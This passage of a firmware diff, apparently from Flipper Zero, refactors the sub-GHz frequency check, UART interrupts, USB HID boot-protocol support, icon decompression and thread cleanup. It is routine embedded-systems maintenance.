FURI_LOG_I(TAG, "Init OK"); } else { - FURI_LOG_E(TAG, "Failed to initialization"); + FURI_LOG_E(TAG, "Selected CC1101 module init failed, revert to default"); } return result; } @@ -513,16 +513,16 @@ bool furi_hal_subghz_is_tx_allowed(uint32_t value) { !(value >= 386999938 && value <= 467750000) && // was increased from 464 to 467.75 !(value >= 778999847 && value <= 928000000) && !(is_extended)) { FURI_LOG_I(TAG, "Frequency blocked - outside regional range"); - return false; + is_allowed = false; } else if( !(value >= 281000000 && value <= 361000000) && !(value >= 378000000 && value <= 481000000) && !(value >= 749000000 && value <= 962000000) && is_extended) { FURI_LOG_I(TAG, "Frequency blocked - outside extended range"); - return false; + is_allowed = false; } - return true; + return is_allowed; } uint32_t furi_hal_subghz_set_frequency(uint32_t value) { diff --git a/firmware/targets/f7/furi_hal/furi_hal_uart.c b/firmware/targets/f7/furi_hal/furi_hal_uart.c index 54232e67f..71b5c7ba0 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_uart.c +++ b/firmware/targets/f7/furi_hal/furi_hal_uart.c @@ -44,7 +44,8 @@ static void furi_hal_usart_init(uint32_t baud) { while(!LL_USART_IsActiveFlag_TEACK(USART1) || !LL_USART_IsActiveFlag_REACK(USART1)) ; - LL_USART_EnableIT_RXNE_RXFNE(USART1); + LL_USART_DisableIT_ERROR(USART1); + NVIC_SetPriority(USART1_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), 5, 0)); } @@ -79,8 +80,8 @@ static void furi_hal_lpuart_init(uint32_t baud) { ; furi_hal_uart_set_br(FuriHalUartIdLPUART1, baud); + LL_LPUART_DisableIT_ERROR(LPUART1); - LL_LPUART_EnableIT_RXNE_RXFNE(LPUART1); NVIC_SetPriority(LPUART1_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), 5, 0)); } @@ -190,19 +191,25 @@ void furi_hal_uart_set_irq_cb( void (*cb)(UartIrqEvent ev, uint8_t data, void* ctx), void* ctx) { if(cb == NULL) { - if(ch == FuriHalUartIdUSART1) + if(ch == FuriHalUartIdUSART1) { NVIC_DisableIRQ(USART1_IRQn); - else if(ch == FuriHalUartIdLPUART1) + LL_USART_DisableIT_RXNE_RXFNE(USART1); + } else if(ch == FuriHalUartIdLPUART1) { NVIC_DisableIRQ(LPUART1_IRQn); + LL_LPUART_DisableIT_RXNE_RXFNE(LPUART1); + } irq_cb[ch] = cb; irq_ctx[ch] = ctx; } else { irq_ctx[ch] = ctx; irq_cb[ch] = cb; - if(ch == FuriHalUartIdUSART1) + if(ch == FuriHalUartIdUSART1) { NVIC_EnableIRQ(USART1_IRQn); - else if(ch == FuriHalUartIdLPUART1) + LL_USART_EnableIT_RXNE_RXFNE(USART1); + } else if(ch == FuriHalUartIdLPUART1) { NVIC_EnableIRQ(LPUART1_IRQn); + LL_LPUART_EnableIT_RXNE_RXFNE(LPUART1); + } } } diff --git a/firmware/targets/f7/furi_hal/furi_hal_usb.c b/firmware/targets/f7/furi_hal/furi_hal_usb.c index fc679114f..011add953 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_usb.c +++ b/firmware/targets/f7/furi_hal/furi_hal_usb.c @@ -73,12 +73,11 @@ typedef enum { #define USB_SRV_ALL_EVENTS (UsbEventReset | UsbEventRequest | UsbEventMessage) PLACE_IN_SECTION("MB_MEM2") static UsbSrv usb = {0}; +PLACE_IN_SECTION("MB_MEM2") static uint32_t ubuf[0x20]; +PLACE_IN_SECTION("MB_MEM2") usbd_device udev; static const struct usb_string_descriptor dev_lang_desc = USB_ARRAY_DESC(USB_LANGID_ENG_US); -static uint32_t ubuf[0x20]; -usbd_device udev; - static int32_t furi_hal_usb_thread(void* context); static usbd_respond usb_descriptor_get(usbd_ctlreq* req, void** address, uint16_t* length); static void reset_evt(usbd_device* dev, uint8_t event, uint8_t ep); diff --git a/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c b/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c index a3bc84227..d27613410 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c +++ b/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c @@ -8,28 +8,22 @@ #include "usb_hid.h" #define HID_EP_IN 0x81 -#define HID_EP_OUT 0x01 #define HID_EP_SZ 0x10 -#define HID_KB_MAX_KEYS 6 -#define HID_CONSUMER_MAX_KEYS 2 - #define HID_INTERVAL 2 #define HID_VID_DEFAULT 0x046D #define HID_PID_DEFAULT 0xC529 -struct HidIadDescriptor { - struct usb_iad_descriptor hid_iad; +struct HidIntfDescriptor { struct usb_interface_descriptor hid; struct usb_hid_descriptor hid_desc; struct usb_endpoint_descriptor hid_ep_in; - struct usb_endpoint_descriptor hid_ep_out; }; struct HidConfigDescriptor { struct usb_config_descriptor config; - struct HidIadDescriptor iad_0; + struct HidIntfDescriptor intf_0; } __attribute__((packed)); enum HidReportId { @@ -38,78 +32,98 @@ enum HidReportId { ReportIdConsumer = 3, }; -/* HID report: keyboard+mouse */ +/* HID report descriptor: keyboard + mouse + consumer control */ static const uint8_t hid_report_desc[] = { + // clang-format off HID_USAGE_PAGE(HID_PAGE_DESKTOP), HID_USAGE(HID_DESKTOP_KEYBOARD), HID_COLLECTION(HID_APPLICATION_COLLECTION), - HID_REPORT_ID(ReportIdKeyboard), - HID_USAGE_PAGE(HID_DESKTOP_KEYPAD), - HID_USAGE_MINIMUM(HID_KEYBOARD_L_CTRL), - HID_USAGE_MAXIMUM(HID_KEYBOARD_R_GUI), - HID_LOGICAL_MINIMUM(0), - HID_LOGICAL_MAXIMUM(1), - HID_REPORT_SIZE(1), - HID_REPORT_COUNT(8), - HID_INPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), - HID_REPORT_COUNT(1), - HID_REPORT_SIZE(8), - HID_INPUT(HID_IOF_CONSTANT | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), - HID_USAGE_PAGE(HID_PAGE_LED), - HID_REPORT_COUNT(8), - HID_REPORT_SIZE(1), - HID_USAGE_MINIMUM(1), - HID_USAGE_MAXIMUM(8), - HID_OUTPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), - HID_REPORT_COUNT(HID_KB_MAX_KEYS), - HID_REPORT_SIZE(8), - HID_LOGICAL_MINIMUM(0), - HID_LOGICAL_MAXIMUM(101), - HID_USAGE_PAGE(HID_DESKTOP_KEYPAD), - HID_USAGE_MINIMUM(0), - HID_USAGE_MAXIMUM(101), - HID_INPUT(HID_IOF_DATA | HID_IOF_ARRAY | HID_IOF_ABSOLUTE), + HID_REPORT_ID(ReportIdKeyboard), + // Keyboard report + HID_USAGE_PAGE(HID_DESKTOP_KEYPAD), + HID_USAGE_MINIMUM(HID_KEYBOARD_L_CTRL), + HID_USAGE_MAXIMUM(HID_KEYBOARD_R_GUI), + HID_LOGICAL_MINIMUM(0), + HID_LOGICAL_MAXIMUM(1), + HID_REPORT_SIZE(1), + HID_REPORT_COUNT(8), + // Input - Modifier keys byte + HID_INPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), + + HID_REPORT_COUNT(1), + HID_REPORT_SIZE(8), + // Input - Reserved byte + HID_INPUT(HID_IOF_CONSTANT | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), + + HID_USAGE_PAGE(HID_PAGE_LED), + HID_REPORT_COUNT(8), + HID_REPORT_SIZE(1), + HID_USAGE_MINIMUM(1), + HID_USAGE_MAXIMUM(8), + // Output - LEDs + HID_OUTPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), + + HID_REPORT_COUNT(HID_KB_MAX_KEYS), + HID_REPORT_SIZE(8), + HID_LOGICAL_MINIMUM(0), + HID_LOGICAL_MAXIMUM(101), + HID_USAGE_PAGE(HID_DESKTOP_KEYPAD), + HID_USAGE_MINIMUM(0), + HID_USAGE_MAXIMUM(101), + // Input - Key codes + HID_INPUT(HID_IOF_DATA | HID_IOF_ARRAY | HID_IOF_ABSOLUTE), HID_END_COLLECTION, + HID_USAGE_PAGE(HID_PAGE_DESKTOP), HID_USAGE(HID_DESKTOP_MOUSE), HID_COLLECTION(HID_APPLICATION_COLLECTION), - HID_USAGE(HID_DESKTOP_POINTER), - HID_COLLECTION(HID_PHYSICAL_COLLECTION), - HID_REPORT_ID(ReportIdMouse), - HID_USAGE_PAGE(HID_PAGE_BUTTON), - HID_USAGE_MINIMUM(1), - HID_USAGE_MAXIMUM(3), - HID_LOGICAL_MINIMUM(0), - HID_LOGICAL_MAXIMUM(1), - HID_REPORT_COUNT(3), - HID_REPORT_SIZE(1), - HID_INPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), - HID_REPORT_SIZE(1), - HID_REPORT_COUNT(5), - HID_INPUT(HID_IOF_CONSTANT | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), - HID_USAGE_PAGE(HID_PAGE_DESKTOP), - HID_USAGE(HID_DESKTOP_X), - HID_USAGE(HID_DESKTOP_Y), - HID_USAGE(HID_DESKTOP_WHEEL), - HID_LOGICAL_MINIMUM(-127), - HID_LOGICAL_MAXIMUM(127), - HID_REPORT_SIZE(8), - HID_REPORT_COUNT(3), - HID_INPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_RELATIVE), - HID_END_COLLECTION, + HID_USAGE(HID_DESKTOP_POINTER), + HID_COLLECTION(HID_PHYSICAL_COLLECTION), + HID_REPORT_ID(ReportIdMouse), + // Mouse report + HID_USAGE_PAGE(HID_PAGE_BUTTON), + HID_USAGE_MINIMUM(1), + HID_USAGE_MAXIMUM(3), + HID_LOGICAL_MINIMUM(0), + HID_LOGICAL_MAXIMUM(1), + HID_REPORT_COUNT(3), + HID_REPORT_SIZE(1), + // Input - Mouse keys + HID_INPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), + + HID_REPORT_SIZE(1), + HID_REPORT_COUNT(5), + // Input - Mouse keys padding + HID_INPUT(HID_IOF_CONSTANT | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), + + HID_USAGE_PAGE(HID_PAGE_DESKTOP), + HID_USAGE(HID_DESKTOP_X), + HID_USAGE(HID_DESKTOP_Y), + HID_USAGE(HID_DESKTOP_WHEEL), + HID_LOGICAL_MINIMUM(-127), + HID_LOGICAL_MAXIMUM(127), + HID_REPORT_SIZE(8), + HID_REPORT_COUNT(3), + // Input - Mouse movement data (x, y, scroll) + HID_INPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_RELATIVE), + HID_END_COLLECTION, HID_END_COLLECTION, + HID_USAGE_PAGE(HID_PAGE_CONSUMER), HID_USAGE(HID_CONSUMER_CONTROL), HID_COLLECTION(HID_APPLICATION_COLLECTION), - HID_REPORT_ID(ReportIdConsumer), - HID_LOGICAL_MINIMUM(0), - HID_RI_LOGICAL_MAXIMUM(16, 0x3FF), - HID_USAGE_MINIMUM(0), - HID_RI_USAGE_MAXIMUM(16, 0x3FF), - HID_REPORT_COUNT(HID_CONSUMER_MAX_KEYS), - HID_REPORT_SIZE(16), - HID_INPUT(HID_IOF_DATA | HID_IOF_ARRAY | HID_IOF_ABSOLUTE), + HID_REPORT_ID(ReportIdConsumer), + // Consumer report + HID_LOGICAL_MINIMUM(0), + HID_RI_LOGICAL_MAXIMUM(16, 0x3FF), + HID_USAGE_MINIMUM(0), + HID_RI_USAGE_MAXIMUM(16, 0x3FF), + HID_REPORT_COUNT(HID_CONSUMER_MAX_KEYS), + HID_REPORT_SIZE(16), + // Input - Consumer control keys + HID_INPUT(HID_IOF_DATA | HID_IOF_ARRAY | HID_IOF_ABSOLUTE), HID_END_COLLECTION, + // clang-format on }; /* Device descriptor */ @@ -117,9 +131,9 @@ static struct usb_device_descriptor hid_device_desc = { .bLength = sizeof(struct usb_device_descriptor), .bDescriptorType = USB_DTYPE_DEVICE, .bcdUSB = VERSION_BCD(2, 0, 0), - .bDeviceClass = USB_CLASS_IAD, - .bDeviceSubClass = USB_SUBCLASS_IAD, - .bDeviceProtocol = USB_PROTO_IAD, + .bDeviceClass = USB_CLASS_PER_INTERFACE, + .bDeviceSubClass = USB_SUBCLASS_NONE, + .bDeviceProtocol = USB_PROTO_NONE, .bMaxPacketSize0 = USB_EP0_SIZE, .idVendor = HID_VID_DEFAULT, .idProduct = HID_PID_DEFAULT, @@ -143,29 +157,18 @@ static const struct HidConfigDescriptor hid_cfg_desc = { .bmAttributes = USB_CFG_ATTR_RESERVED | USB_CFG_ATTR_SELFPOWERED, .bMaxPower = USB_CFG_POWER_MA(100), }, - .iad_0 = + .intf_0 = { - .hid_iad = - { - .bLength = sizeof(struct usb_iad_descriptor), - .bDescriptorType = USB_DTYPE_INTERFASEASSOC, - .bFirstInterface = 0, - .bInterfaceCount = 1, - .bFunctionClass = USB_CLASS_PER_INTERFACE, - .bFunctionSubClass = USB_SUBCLASS_NONE, - .bFunctionProtocol = USB_PROTO_NONE, - .iFunction = NO_DESCRIPTOR, - }, .hid = { .bLength = sizeof(struct usb_interface_descriptor), .bDescriptorType = USB_DTYPE_INTERFACE, .bInterfaceNumber = 0, .bAlternateSetting = 0, - .bNumEndpoints = 2, + .bNumEndpoints = 1, .bInterfaceClass = USB_CLASS_HID, - .bInterfaceSubClass = USB_HID_SUBCLASS_NONBOOT, - .bInterfaceProtocol = USB_HID_PROTO_NONBOOT, + .bInterfaceSubClass = USB_HID_SUBCLASS_BOOT, + .bInterfaceProtocol = USB_HID_PROTO_KEYBOARD, .iInterface = NO_DESCRIPTOR, }, .hid_desc = @@ -187,15 +190,6 @@ static const struct HidConfigDescriptor hid_cfg_desc = { .wMaxPacketSize = HID_EP_SZ, .bInterval = HID_INTERVAL, }, - .hid_ep_out = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = HID_EP_OUT, - .bmAttributes = USB_EPTYPE_INTERRUPT, - .wMaxPacketSize = HID_EP_SZ, - .bInterval = HID_INTERVAL, - }, }, }; @@ -209,9 +203,11 @@ struct HidReportMouse { struct HidReportKB { uint8_t report_id; - uint8_t mods; - uint8_t reserved; - uint8_t btn[HID_KB_MAX_KEYS]; + struct { + uint8_t mods; + uint8_t reserved; + uint8_t btn[HID_KB_MAX_KEYS]; + } boot; } __attribute__((packed)); struct HidReportConsumer { @@ -259,6 +255,7 @@ static bool hid_connected = false; static HidStateCallback callback; static void* cb_ctx; static uint8_t led_state; +static bool boot_protocol = false; bool furi_hal_hid_is_connected() { return hid_connected; @@ -283,31 +280,31 @@ void furi_hal_hid_set_state_callback(HidStateCallback cb, void* ctx) { bool furi_hal_hid_kb_press(uint16_t button) { for(uint8_t key_nb = 0; key_nb < HID_KB_MAX_KEYS; key_nb++) { - if(hid_report.keyboard.btn[key_nb] == 0) { - hid_report.keyboard.btn[key_nb] = button & 0xFF; + if(hid_report.keyboard.boot.btn[key_nb] == 0) { + hid_report.keyboard.boot.btn[key_nb] = button & 0xFF; break; } } - hid_report.keyboard.mods |= (button >> 8); + hid_report.keyboard.boot.mods |= (button >> 8); return hid_send_report(ReportIdKeyboard); } bool furi_hal_hid_kb_release(uint16_t button) { for(uint8_t key_nb = 0; key_nb < HID_KB_MAX_KEYS; key_nb++) { - if(hid_report.keyboard.btn[key_nb] == (button & 0xFF)) { - hid_report.keyboard.btn[key_nb] = 0; + if(hid_report.keyboard.boot.btn[key_nb] == (button & 0xFF)) { + hid_report.keyboard.boot.btn[key_nb] = 0; break; } } - hid_report.keyboard.mods &= ~(button >> 8); + hid_report.keyboard.boot.mods &= ~(button >> 8); return hid_send_report(ReportIdKeyboard); } bool furi_hal_hid_kb_release_all() { for(uint8_t key_nb = 0; key_nb < HID_KB_MAX_KEYS; key_nb++) { - hid_report.keyboard.btn[key_nb] = 0; + hid_report.keyboard.boot.btn[key_nb] = 0; } - hid_report.keyboard.mods = 0; + hid_report.keyboard.boot.mods = 0; return hid_send_report(ReportIdKeyboard); } @@ -437,27 +434,35 @@ static void hid_on_suspend(usbd_device* dev) { static bool hid_send_report(uint8_t report_id) { if((hid_semaphore == NULL) || (hid_connected == false)) return false; + if((boot_protocol == true) && (report_id != ReportIdKeyboard)) return false; furi_check(furi_semaphore_acquire(hid_semaphore, FuriWaitForever) == FuriStatusOk); - if(hid_connected == true) { + if(hid_connected == false) { + return false; + } + if(boot_protocol == true) { + usbd_ep_write( + usb_dev, HID_EP_IN, &hid_report.keyboard.boot, sizeof(hid_report.keyboard.boot)); + } else { if(report_id == ReportIdKeyboard) usbd_ep_write(usb_dev, HID_EP_IN, &hid_report.keyboard, sizeof(hid_report.keyboard)); else if(report_id == ReportIdMouse) usbd_ep_write(usb_dev, HID_EP_IN, &hid_report.mouse, sizeof(hid_report.mouse)); else if(report_id == ReportIdConsumer) usbd_ep_write(usb_dev, HID_EP_IN, &hid_report.consumer, sizeof(hid_report.consumer)); - return true; } - return false; + return true; } static void hid_txrx_ep_callback(usbd_device* dev, uint8_t event, uint8_t ep) { UNUSED(dev); if(event == usbd_evt_eptx) { furi_semaphore_release(hid_semaphore); + } else if(boot_protocol == true) { + usbd_ep_read(usb_dev, ep, &led_state, sizeof(led_state)); } else { struct HidReportLED leds; - usbd_ep_read(usb_dev, ep, &leds, 2); + usbd_ep_read(usb_dev, ep, &leds, sizeof(leds)); led_state = leds.led_state; } } @@ -467,18 +472,15 @@ static usbd_respond hid_ep_config(usbd_device* dev, uint8_t cfg) { switch(cfg) { case 0: /* deconfiguring device */ - usbd_ep_deconfig(dev, HID_EP_OUT); usbd_ep_deconfig(dev, HID_EP_IN); - usbd_reg_endpoint(dev, HID_EP_OUT, 0); usbd_reg_endpoint(dev, HID_EP_IN, 0); return usbd_ack; case 1: /* configuring device */ usbd_ep_config(dev, HID_EP_IN, USB_EPTYPE_INTERRUPT, HID_EP_SZ); - usbd_ep_config(dev, HID_EP_OUT, USB_EPTYPE_INTERRUPT, HID_EP_SZ); usbd_reg_endpoint(dev, HID_EP_IN, hid_txrx_ep_callback); - usbd_reg_endpoint(dev, HID_EP_OUT, hid_txrx_ep_callback); usbd_ep_write(dev, HID_EP_IN, 0, 0); + boot_protocol = false; /* BIOS will SET_PROTOCOL if it wants this */ return usbd_ack; default: return usbd_fail; @@ -496,8 +498,21 @@ static usbd_respond hid_control(usbd_device* dev, usbd_ctlreq* req, usbd_rqc_cal case USB_HID_SETIDLE: return usbd_ack; case USB_HID_GETREPORT: - dev->status.data_ptr = &hid_report; - dev->status.data_count = sizeof(hid_report); + if(boot_protocol == true) { + dev->status.data_ptr = &hid_report.keyboard.boot; + dev->status.data_count = sizeof(hid_report.keyboard.boot); + } else { + dev->status.data_ptr = &hid_report; + dev->status.data_count = sizeof(hid_report); + } + return usbd_ack; + case USB_HID_SETPROTOCOL: + if(req->wValue == 0) + boot_protocol = true; + else if(req->wValue == 1) + boot_protocol = false; + else + return usbd_fail; return usbd_ack; default: return usbd_fail; @@ -508,10 +523,11 @@ static usbd_respond hid_control(usbd_device* dev, usbd_ctlreq* req, usbd_rqc_cal req->wIndex == 0 && req->bRequest == USB_STD_GET_DESCRIPTOR) { switch(req->wValue >> 8) { case USB_DTYPE_HID: - dev->status.data_ptr = (uint8_t*)&(hid_cfg_desc.iad_0.hid_desc); - dev->status.data_count = sizeof(hid_cfg_desc.iad_0.hid_desc); + dev->status.data_ptr = (uint8_t*)&(hid_cfg_desc.intf_0.hid_desc); + dev->status.data_count = sizeof(hid_cfg_desc.intf_0.hid_desc); return usbd_ack; case USB_DTYPE_HID_REPORT: + boot_protocol = false; /* BIOS does not read this */ dev->status.data_ptr = (uint8_t*)hid_report_desc; dev->status.data_count = sizeof(hid_report_desc); return usbd_ack; diff --git a/firmware/targets/f7/inc/FreeRTOSConfig.h b/firmware/targets/f7/inc/FreeRTOSConfig.h index 69ef9406b..9486f501c 100644 --- a/firmware/targets/f7/inc/FreeRTOSConfig.h +++ b/firmware/targets/f7/inc/FreeRTOSConfig.h @@ -58,6 +58,7 @@ extern uint32_t SystemCoreClock; #define configTIMER_SERVICE_TASK_NAME "TimersSrv" #define configIDLE_TASK_NAME "(-_-)" +#define configIDLE_TASK_STACK_DEPTH 128 /* Set the following definitions to 1 to include the API function, or zero to exclude the API function. */ @@ -138,3 +139,7 @@ standard names. */ #define traceTASK_SWITCHED_IN() \ extern void furi_hal_mpu_set_stack_protection(uint32_t* stack); \ furi_hal_mpu_set_stack_protection((uint32_t*)pxCurrentTCB->pxStack) + +#define portCLEAN_UP_TCB(pxTCB) \ + extern void furi_thread_cleanup_tcb_event(TaskHandle_t task); \ + furi_thread_cleanup_tcb_event(pxTCB) diff --git a/firmware/targets/f7/src/dfu.c b/firmware/targets/f7/src/dfu.c index f32ac2ac4..b060bc8d2 100644 --- a/firmware/targets/f7/src/dfu.c +++ b/firmware/targets/f7/src/dfu.c @@ -4,10 +4,11 @@ #include #include #include +#include void flipper_boot_dfu_show_splash() { // Initialize - furi_hal_compress_icon_init(); + CompressIcon* compress_icon = compress_icon_alloc(); u8g2_t* fb = malloc(sizeof(u8g2_t)); memset(fb, 0, sizeof(u8g2_t)); @@ -15,13 +16,15 @@ void flipper_boot_dfu_show_splash() { u8g2_InitDisplay(fb); u8g2_SetDrawColor(fb, 0x01); uint8_t* splash_data = NULL; - furi_hal_compress_icon_decode(icon_get_data(&I_DFU_128x50), &splash_data); + compress_icon_decode(compress_icon, icon_get_data(&I_DFU_128x50), &splash_data); u8g2_DrawXBM(fb, 0, 64 - 50, 128, 50, splash_data); u8g2_SetFont(fb, u8g2_font_helvB08_tr); u8g2_DrawStr(fb, 2, 8, "Update & Recovery Mode"); u8g2_DrawStr(fb, 2, 21, "DFU Started"); u8g2_SetPowerSave(fb, 0); u8g2_SendBuffer(fb); + + compress_icon_free(compress_icon); } void flipper_boot_dfu_exec() { diff --git a/firmware/targets/f7/src/recovery.c b/firmware/targets/f7/src/recovery.c index db538b0d5..d037e8118 100644 --- a/firmware/targets/f7/src/recovery.c +++ b/firmware/targets/f7/src/recovery.c @@ -4,6 +4,7 @@ #include #include #include +#include #define COUNTER_VALUE (136U) @@ -27,9 +28,9 @@ void flipper_boot_recovery_exec() { u8g2_Setup_st756x_flipper(fb, U8G2_R0, u8x8_hw_spi_stm32, u8g2_gpio_and_delay_stm32); u8g2_InitDisplay(fb); - furi_hal_compress_icon_init(); + CompressIcon* compress_icon = compress_icon_alloc(); uint8_t* splash_data = NULL; - furi_hal_compress_icon_decode(icon_get_data(&I_Erase_pin_128x64), &splash_data); + compress_icon_decode(compress_icon, icon_get_data(&I_Erase_pin_128x64), &splash_data); u8g2_ClearBuffer(fb); u8g2_SetDrawColor(fb, 0x01); @@ -38,6 +39,7 @@ void flipper_boot_recovery_exec() { u8g2_DrawXBM(fb, 0, 0, 128, 64, splash_data); u8g2_SendBuffer(fb); u8g2_SetPowerSave(fb, 0); + compress_icon_free(compress_icon); size_t counter = COUNTER_VALUE; while(counter) { diff --git a/firmware/targets/f7/src/update.c b/firmware/targets/f7/src/update.c index d8d26eb7c..c1e1084c2 100644 --- a/firmware/targets/f7/src/update.c +++ b/firmware/targets/f7/src/update.c @@ -44,7 +44,7 @@ static bool flipper_update_init() { furi_hal_spi_config_init(); - MX_FATFS_Init(); + fatfs_init(); if(!hal_sd_detect()) { return false; } diff --git a/firmware/targets/f7/target.json b/firmware/targets/f7/target.json index 49aa109bd..906ee23ad 100644 --- a/firmware/targets/f7/target.json +++ b/firmware/targets/f7/target.json @@ -35,11 +35,13 @@ "appframe", "assets", "one_wire", + "ibutton", "misc", "mbedtls", "lfrfid", "flipper_application", + "pulse_reader", "flipperformat", "toolbox" ] -} \ No newline at end of file +} diff --git a/firmware/targets/furi_hal_include/furi_hal.h b/firmware/targets/furi_hal_include/furi_hal.h index ad4340dd4..2eb4688d4 100644 --- a/firmware/targets/furi_hal_include/furi_hal.h +++ b/firmware/targets/furi_hal_include/furi_hal.h @@ -33,7 +33,6 @@ struct STOP_EXTERNING_ME {}; #include #include #include -#include #include #include #include diff --git a/firmware/targets/furi_hal_include/furi_hal_compress.h b/firmware/targets/furi_hal_include/furi_hal_compress.h deleted file mode 100644 index f80aee516..000000000 --- a/firmware/targets/furi_hal_include/furi_hal_compress.h +++ /dev/null @@ -1,87 +0,0 @@ -/** - * @file furi_hal_compress.h - * LZSS based compression HAL API - */ -#pragma once - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** Defines encoder and decoder window size */ -#define FURI_HAL_COMPRESS_EXP_BUFF_SIZE_LOG (8) - -/** Defines encoder and decoder lookahead buffer size */ -#define FURI_HAL_COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG (4) - -/** FuriHalCompress control structure */ -typedef struct FuriHalCompress FuriHalCompress; - -/** Initialize icon decoder - */ -void furi_hal_compress_icon_init(); - -/** Icon decoder - * - * @param icon_data pointer to icon data - * @param decoded_buff pointer to decoded buffer - */ -void furi_hal_compress_icon_decode(const uint8_t* icon_data, uint8_t** decoded_buff); - -/** Allocate encoder and decoder - * - * @param compress_buff_size size of decoder and encoder buffer to allocate - * - * @return FuriHalCompress instance - */ -FuriHalCompress* furi_hal_compress_alloc(uint16_t compress_buff_size); - -/** Free encoder and decoder - * - * @param compress FuriHalCompress instance - */ -void furi_hal_compress_free(FuriHalCompress* compress); - -/** Encode data - * - * @param compress FuriHalCompress instance - * @param data_in pointer to input data - * @param data_in_size size of input data - * @param data_out maximum size of output data - * @param data_res_size pointer to result output data size - * - * @return true on success - */ -bool furi_hal_compress_encode( - FuriHalCompress* compress, - uint8_t* data_in, - size_t data_in_size, - uint8_t* data_out, - size_t data_out_size, - size_t* data_res_size); - -/** Decode data - * - * @param compress FuriHalCompress instance - * @param data_in pointer to input data - * @param data_in_size size of input data - * @param data_out maximum size of output data - * @param data_res_size pointer to result output data size - * - * @return true on success - */ -bool furi_hal_compress_decode( - FuriHalCompress* compress, - uint8_t* data_in, - size_t data_in_size, - uint8_t* data_out, - size_t data_out_size, - size_t* data_res_size); - -#ifdef __cplusplus -} -#endif diff --git a/firmware/targets/furi_hal_include/furi_hal_rtc.h b/firmware/targets/furi_hal_include/furi_hal_rtc.h index fe095e749..b16b04a68 100644 --- a/firmware/targets/furi_hal_include/furi_hal_rtc.h +++ b/firmware/targets/furi_hal_include/furi_hal_rtc.h @@ -29,6 +29,7 @@ typedef enum { FuriHalRtcFlagFactoryReset = (1 << 1), FuriHalRtcFlagLock = (1 << 2), FuriHalRtcFlagC2Update = (1 << 3), + FuriHalRtcFlagHandOrient = (1 << 4), } FuriHalRtcFlag; typedef enum { diff --git a/firmware/targets/furi_hal_include/furi_hal_usb_hid.h b/firmware/targets/furi_hal_include/furi_hal_usb_hid.h index a9f094814..13e83ef67 100644 --- a/firmware/targets/furi_hal_include/furi_hal_usb_hid.h +++ b/firmware/targets/furi_hal_include/furi_hal_usb_hid.h @@ -9,6 +9,11 @@ extern "C" { #endif +/** Max number of simultaneously pressed keys (keyboard) */ +#define HID_KB_MAX_KEYS 6 +/** Max number of simultaneously pressed keys (consumer control) */ +#define HID_CONSUMER_MAX_KEYS 2 + #define HID_KEYBOARD_NONE 0x00 /** HID keyboard modifier keys */ diff --git a/furi/core/thread.c b/furi/core/thread.c index b45651c29..d78070d61 100644 --- a/furi/core/thread.c +++ b/furi/core/thread.c @@ -24,7 +24,6 @@ struct FuriThreadStdout { }; struct FuriThread { - bool is_service; FuriThreadState state; int32_t ret; @@ -37,14 +36,19 @@ struct FuriThread { char* name; char* appid; - configSTACK_DEPTH_TYPE stack_size; FuriThreadPriority priority; TaskHandle_t task_handle; - bool heap_trace_enabled; size_t heap_size; FuriThreadStdout output; + + // Keep all non-alignable byte types in one place, + // this ensures that the size of this structure is minimal + bool is_service; + bool heap_trace_enabled; + + configSTACK_DEPTH_TYPE stack_size; }; static size_t __furi_thread_stdout_write(FuriThread* thread, const char* data, size_t size); @@ -107,14 +111,8 @@ static void furi_thread_body(void* context) { // flush stdout __furi_thread_stdout_flush(thread); - // from here we can't use thread pointer furi_thread_set_state(thread, FuriThreadStateStopped); - // clear thread local storage - furi_assert(pvTaskGetThreadLocalStoragePointer(NULL, 0) != NULL); - vTaskSetThreadLocalStoragePointer(NULL, 0, NULL); - - thread->task_handle = NULL; vTaskDelete(NULL); furi_thread_catch(); } @@ -249,11 +247,11 @@ void furi_thread_start(FuriThread* thread) { furi_assert(thread); furi_assert(thread->callback); furi_assert(thread->state == FuriThreadStateStopped); - furi_assert(thread->stack_size > 0 && thread->stack_size < 0xFFFF * 4); + furi_assert(thread->stack_size > 0 && thread->stack_size < (UINT16_MAX * sizeof(StackType_t))); furi_thread_set_state(thread, FuriThreadStateStarting); - uint32_t stack = thread->stack_size / 4; + uint32_t stack = thread->stack_size / sizeof(StackType_t); UBaseType_t priority = thread->priority ? thread->priority : FuriThreadPriorityNormal; if(thread->is_service) { thread->task_handle = xTaskCreateStatic( @@ -273,12 +271,25 @@ void furi_thread_start(FuriThread* thread) { furi_check(thread->task_handle); } +void furi_thread_cleanup_tcb_event(TaskHandle_t task) { + FuriThread* thread = pvTaskGetThreadLocalStoragePointer(task, 0); + if(thread) { + // clear thread local storage + vTaskSetThreadLocalStoragePointer(task, 0, NULL); + + thread->task_handle = NULL; + } +} + bool furi_thread_join(FuriThread* thread) { furi_assert(thread); furi_check(furi_thread_get_current() != thread); - // Wait for thread to stop + // !!! IMPORTANT NOTICE !!! + // + // If your thread exited, but your app stuck here: some other thread uses + // all cpu time, which delays kernel from releasing task handle while(thread->task_handle) { furi_delay_ms(10); } diff --git a/furi/core/thread.h b/furi/core/thread.h index 